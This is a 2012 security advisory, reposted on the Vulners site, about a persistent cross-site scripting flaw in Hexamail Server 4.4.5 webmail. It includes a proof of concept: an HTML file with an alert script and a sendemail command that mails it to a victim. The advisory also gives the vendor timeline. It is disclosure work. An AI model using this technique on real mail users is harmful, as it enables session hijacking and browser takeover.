Vulners
Lucene search
Hexamail Server 4.4.5 - Persistent Cross-Site Scripting
#Title: Hexamail Server <= 4.4.5 Persistent XSS Vulnerability
#Date: June 3, 2012
#Author: modpr0be[at]Spentera, @modpr0be
#URL: http://www.spentera.com
#Software URL:http://www.hexamail.com/download/hexamailserversetup4.4.5.002.exe
#Tested on
# OS: Windows XP SP3, Windows 2003 SP2, Windows 7 SP1
# Browser: Chrome 19.0.x, IE9, Safari 5.1.7
Software Description
====================
Hexamail provides intelligent email software solutions. Leveraging the latest
advanced techniques, such as Bayesian matching, our products enable customers
to eliminate email intrusions such as spam, malware, spyware, phishing attacks
and virus.
Vulnerability Description
=========================
Hexamail Server suffers persistent XSS vulnerability in the mail body, allowing
malicious user to execute scripts in a victim’s browser to hijack user sessions,
redirect users, and or hijack the user’s browser.
Proof of concept
================
By sending a malicious script to the victim email, the webmail automatically
load the mail body, so the script will be automatically executed without permission
from user.
root@bt:~/# cat > meal.txt
<html>
<body>
<h1>XSS pop up</h1>
<script>alert('Hi, what is this?');</script>
</body>
</html>
root@bt:~/#
Send email to the victim:
root@bt:~/# sendemail -f [email protected] -t [email protected] -xu [email protected] \
-xp bob123 -u "Want some meal..?" -o message-file=meal.txt -s mail.example.com
Vendor timeline
===============
04/20/2012 - Issue discovered
04/20/2012 - Vendor contacted
04/27/2012 - Vendor respond and provides new upgrade version
04/30/2012 - Issue still affected on the latest upgrade version
04/30/2012 - Vendor said they still fixing the problem
05/10/2012 - Email sent to ask about the fix progress
06/02/2012 - No response. Advisory published.
Solution
============
Not available.
References
============
http://www.hexamail.com
http://www.spentera.com/2012/06/hexamail-server-4-4-5-persistent-xss-vulnerability/Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
04 Jun 2012 00:00Current
7High risk
Vulners AI Score7